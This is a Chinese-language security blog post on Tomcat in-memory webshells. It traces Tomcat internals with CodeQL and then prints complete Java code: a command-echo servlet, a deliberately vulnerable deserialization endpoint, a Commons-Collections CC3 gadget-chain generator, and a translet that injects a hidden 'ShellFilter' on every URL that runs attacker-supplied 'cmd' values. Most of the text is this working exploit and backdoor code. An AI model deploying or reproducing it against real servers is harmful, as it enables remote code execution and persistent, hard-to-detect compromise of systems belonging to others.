0x00 前言 在实战中,我们利用内存马往往是为了构造回显,而注入内存马的方法中最常用的就是Java反序列化,所以本文将侧重分析上述两个技术。
0x01 内存马回显技术 本文将配合使用codeql的静态分析技术和IDEA的动态分析技术。
配置 先下载几个项目并做好配置:
首先需要完成codeql的相关配置,网上也有教程,不赘叙。
下载包含源代码的 Tomcat 项目版本,其中应包含java目录,且该目录下为 .java 源文件而非已编译的 .class 文件。项目地址:https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.105/src/apache-tomcat-9.0.105-src.zip
下载Ant,并配置好环境,相关教程:https://www.kingsonho.com/install-apache-ant-on-windows/
构建Tomcat项目:
在Tomcat源码根目录下执行:
该命令会构建Tomcat项目,其中会下载一些配置,有点慢。
上一步完成后,codeql在Tomcat源码根目录下创建数据库:
1 codeql database create codeql-db --language=java --command="ant clean && ant"
数据库创建成功,vscode里写一个demo:
1 2 3 4 5 import java from Class c where c.hasQualifiedName("org.apache.coyote", "AbstractProcessor") select c, c.getQualifiedName()
成功查询:
至此,配置成功。
分析 本文思路来自@Litch1师傅的通过全局存储Response回显技术,本文只是努力模仿大佬思路(没办法独立发现)
想要回显,本质上是调用ServletResponse#getWriter()方法给出的PrintWriter。由于ServletResponse是一个接口,最终在org.apache.catalina.connector.Response类实现了getWriter()方法。
所以为了拿到Response,先尝试寻找一个类,其属性是Response类型:
1 2 3 4 5 6 7 import java from Class c, Field f where f.getDeclaringType() = c and f.getType().getTypeDescriptor().toString() = "Lorg/apache/catalina/connector/Response;" select c
org.apache.catalina.connector.Request类的一个属性response是Response类型。
现在思考,怎么获得Request类,没有上下文环境的话,只能从全局储存里获取。
首先,org.apache.catalina.connector.Request类可以如下获得:(右边的request是org.apache.coyote.Request类型)
1 org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1 );
那么现在的任务就是获得org.apache.coyote.Request,用codeql寻找:
1 2 3 4 5 6 7 8 import java from Class c, Field f where f.getDeclaringType() = c and f.getType().getTypeDescriptor().toString() = "Lorg/apache/coyote/Request;" select c
这里我们选择RequestInfo类:
为什么选择该类呢?我们的分析离不开发起一次请求后的调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 doGet:25, Tomcat_Echo service:655, HttpServlet (javax.servlet.http) service:764, HttpServlet (javax.servlet.http) internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) ... service:357, CoyoteAdapter (org.apache.catalina.connector) service:382, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang)
AbstractProtocol$ConnectionHandler#register方法会调用process()方法,而后者又在调用栈中,在每一次请求发起后,都会调用process()方法,也就是会接着调用到register方法:
register方法把含有org.apache.coyote.Request类的RequestInfo放入RequestGroupInfo类型的RequestInfo成员,简单来说就是拿到了org.apache.coyote.Request类。
所以现在思路明确了:
1 2 3 4 5 AbstractProtocol$ConnectoinHandler#process() ->this.global ->RequestInfo ->Request ->Response
前面说过,AbstractProtocol类是抽象类,那具体是哪个实现类呢?断点打在CoyoteAdapter类的service方法,该类的connector成员有下面两个属性:
所以实际上,我们要选择Http11NioProtocol类。现在调用链如下:
1 2 3 4 5 6 7 Connector ->Http11NioProtocol ->AbstractProtocol$ConnectoinHandler#process() ->this.global ->RequestInfo ->Request ->Response
接着就是获取Connector了,Tomcat在启动时会通过StandardService创建Connector,所以调用链再次延长:
1 2 3 4 5 6 7 8 StandardService ->Connector ->Http11NioProtocol ->AbstractProtocol$ConnectoinHandler#process() ->this.global ->RequestInfo ->Request ->Response
下面的工作就是获取StandardService对象了。
Thread类中有getContextClassLoader()
和setContextClassLoader(ClassLoader cl)
方法用来获取和设置上下文类加载器。如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader
(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。
因此WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。
构造 获取StandardContext 1 2 org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
获取ApplicationContext StandardContext中没有直接的方法获取context,因此我们需要通过反射获取:
1 2 3 Field context = Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" );context.setAccessible(true ); org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)context.get(standardContext);
获取StandardService 同样使用反射获取
1 2 3 4 //获取StandardService Field standardServiceField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("service"); standardServiceField.setAccessible(true); StandardService standardService = (StandardService) standardServiceField.get(applicationContext);
获取Connector 1 2 3 4 5 //获取Connector Field connectorsField = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("connectors"); connectorsField.setAccessible(true); Connector[] connectors = (Connector[]) connectorsField.get(standardService); Connector connector = connectors[0];
获取Handler 我们可以通过Connector#getProtocolHandler方法来获取对应的protocolHandler
1 2 3 4 5 ProtocolHandler protocolHandler = connector.getProtocolHandler();Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredField("handler" );handlerField.setAccessible(true ); org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
获取内部类ConnectionHandler的 global属性 1 2 3 4 Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler" ).getDeclaredField("global" );globalHandler.setAccessible(true ); RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);
获取processor global属性RequestGroupInfo类中的processors数组用来存储RequestInfo对象,下面我们来获取RequestInfo对象,进而获取request对象
1 2 3 4 Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" );processorsField.setAccessible(true ); List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);
最后我们获取request和response对象
获取request和response 这里我选择进一步获取org.apache.catalina.connector.Request对象,因为它继承自HttpServletRequest,我们可以通过PrintWrinter类直接获取回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Field requestField = Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" );requestField.setAccessible(true ); for (RequestInfo requestInfo : requestInfoList){ org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo); org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1 ); org.apache.catalina.connector.Response http_response = http_request.getResponse(); PrintWriter writer = http_response.getWriter(); String cmd = http_request.getParameter("cmd" ); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner (inputStream).useDelimiter("\\A" ); String result = scanner.hasNext()?scanner.next():"" ; scanner.close(); writer.write(result); writer.flush(); writer.close(); }
完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 package com.tomcat;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.coyote.ProtocolHandler;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.tomcat.util.net.AbstractEndpoint;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.util.List;import java.util.Scanner;@WebServlet("/response") public class Tomcat_Echo_Response extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); System.out.println(standardContext); try { Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" ); applicationContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext); Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext" ).getDeclaredField("service" ); standardServiceField.setAccessible(true ); StandardService standardService = (StandardService) standardServiceField.get(applicationContext); Field connectorsField = Class.forName("org.apache.catalina.core.StandardService" ).getDeclaredField("connectors" ); connectorsField.setAccessible(true ); Connector[] connectors = (Connector[]) connectorsField.get(standardService); Connector connector = connectors[0 ]; ProtocolHandler protocolHandler = (ProtocolHandler) connector.getProtocolHandler(); Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol" ).getDeclaredField("handler" ); handlerField.setAccessible(true ); org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler); Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler" ).getDeclaredField("global" ); globalHandler.setAccessible(true ); RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler); Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo" ).getDeclaredField("processors" ); processorsField.setAccessible(true ); List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global); Field requestField = Class.forName("org.apache.coyote.RequestInfo" ).getDeclaredField("req" ); requestField.setAccessible(true ); for (RequestInfo requestInfo : requestInfoList){ org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo); org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1 ); org.apache.catalina.connector.Response http_response = http_request.getResponse(); PrintWriter writer = http_response.getWriter(); String cmd = http_request.getParameter("cmd" ); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner (inputStream).useDelimiter("\\A" ); String result = scanner.hasNext()?scanner.next():"" ; scanner.close(); writer.write(result); writer.flush(); writer.close(); } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } }
0x02 反序列化构造内存马 先打一次反序列化获取Request,再打Filter内存马。
一个存在反序列化漏洞的服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.tomcat;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.ByteArrayInputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.util.Base64;@WebServlet("/unserial") public class Unserial_Servlet extends HttpServlet { @Override protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { byte [] data = Base64.getDecoder().decode(req.getParameter("data" )); ByteArrayInputStream inputStream = new ByteArrayInputStream (data); ObjectInputStream objectInputStream = new ObjectInputStream (inputStream); try { System.out.println(objectInputStream.readObject()); } catch (ClassNotFoundException e) { e.printStackTrace(); } } @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doPost(req,resp); } }
用cc3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package com.tomcat;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.catalina.startup.Tomcat;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class Cc3 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "aaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); / byte [] code = Files.readAllBytes(Paths.get("you_file_path" )); byte [][] codes = {code}; bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" , "b" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true ); Object o = ctor.newInstance(Target.class, transformedMap); serialize(o); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
先获取Request:(使用另一种获取的技术,有局限性,具体看枫神讲解)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package com.tomcat;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.core.ApplicationFilterChain;import javax.servlet.ServletResponse;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.Modifier;public class Tomcat_Echo_inject_ThreadLocal extends AbstractTranslet { static { try { java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher" ).getDeclaredField("WRAP_SAME_OBJECT" ); java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" ); java.lang.reflect.Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse" ); java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers" ); modifiersField.setAccessible(true ); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT_FIELD.setAccessible(true ); lastServicedRequestField.setAccessible(true ); lastServicedResponseField.setAccessible(true ); if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null )) { WRAP_SAME_OBJECT_FIELD.setBoolean(null , true ); } if (lastServicedRequestField.get(null ) == null ) { lastServicedRequestField.set(null , new ThreadLocal <>()); } if (lastServicedResponseField.get(null ) == null ) { lastServicedResponseField.set(null , new ThreadLocal <>()); } if (lastServicedResponseField.get(null ) != null ) { ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null ); ServletResponse servletResponse = (ServletResponse) threadLocal.get(); PrintWriter writer = servletResponse.getWriter(); writer.write("Inject ThreadLocal Successfully!" ); writer.flush(); writer.close(); } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
第一次访问是500,这是由于CC链本身的缘故。再一次发包,结果如下,说明此时我们能够从ThreadLocal对象中获取request了:
再打Filter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 package com.tomcat;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.ApplicationFilterChain;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.InvocationTargetException;public class Tomcat_Echo_inject_Filter extends AbstractTranslet implements Filter { static { try { ServletContext servletContext = getServletContext(); java.lang.reflect.Field appContextField = servletContext.getClass().getDeclaredField("context" ); appContextField.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); java.lang.reflect.Field standardContextField = applicationContext.getClass().getDeclaredField("context" ); standardContextField.setAccessible(true ); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); Tomcat_Echo_inject_Filter filter = new Tomcat_Echo_inject_Filter (); String name = "ShellFilter" ; FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); java.lang.reflect.Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); java.util.Map filterConfigs = (java.util.Map) Configs.get(standardContext); java.lang.reflect.Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } } public static ServletContext getServletContext () throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" ); lastServicedRequestField.setAccessible(true ); ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null ); if (threadLocal!=null && threadLocal.get()!=null ){ ServletRequest servletRequest = (ServletRequest) threadLocal.get(); return servletRequest.getServletContext(); } return null ; } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); response.setContentType("text/html; charset=UTF-8" ); PrintWriter writer = response.getWriter(); if (cmd != null ) { try { InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); java.util.Scanner scanner = new java .util.Scanner(in).useDelimiter("\\A" ); String result = scanner.hasNext()?scanner.next():"" ; scanner.close(); writer.write(result); writer.flush(); writer.close(); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } @Override public void destroy () { } }
打的时候还是500,没关系,内存马注进去了,直接访问:
0x03 小结 内存马内容繁杂,先到这里,有空回头深造一下。
Reference:https://goodapple.top/archives/1355